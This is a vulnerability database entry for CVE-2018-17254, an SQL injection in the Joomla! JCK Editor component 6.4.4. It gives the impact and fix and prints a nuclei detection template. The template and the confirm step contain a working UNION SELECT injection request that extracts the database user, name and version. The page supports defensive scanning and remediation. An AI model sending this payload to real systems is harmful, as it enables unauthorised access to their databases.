HexBrain

Browse / CVEs / CVE-2018-17254

CVE-2018-17254· arkextensions / jck editor· CWE-89

Joomla! JCK Editor SQL Injection

criticalseverity
9.8CVSS score
83%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

The JCK Editor component 6.4.4 for Joomla! allows SQL Injection via the jtreelink/dialogs/links.php parent parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.

Fix

Update or remove the affected plugin.

How to confirm it

Send: GET /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DAT…
Positive when: contains "{{md5(num)}}"

Run it with nuclei: nuclei -id CVE-2018-17254 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-17254

info:
  name: Joomla! JCK Editor SQL Injection
  author: Suman_Kar
  severity: critical
  description: The JCK Editor component 6.4.4 for Joomla! allows SQL Injection via the jtreelink/dialogs/links.php parent parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: Update or remove the affected plugin.
  reference:
    - http://packetstormsecurity.com/files/161683/Joomla-JCK-Editor-6.4.4-SQL-Injection.html
    - https://www.exploit-db.com/exploits/45423/
    - https://github.com/Nickguitar/Joomla-JCK-Editor-6.4.4-SQL-Injection
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-17254
    cwe-id: CWE-89
    epss-score: 0.82976
    epss-percentile: 0.99677
    cpe: cpe:2.3:a:arkextensions:jck_editor:6.4.4:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: arkextensions
    product: jck_editor
    framework: joomla\!
  tags: cve,cve2018,packetstorm,edb,joomla,sqli,arkextensions,joomla\!,vkev,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        GET /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),md5({{num}})),NULL,NULL,NULL,NULL,NULL--%20aa HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}

    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

References

Use this check only on systems you are authorised to test. Where the data comes from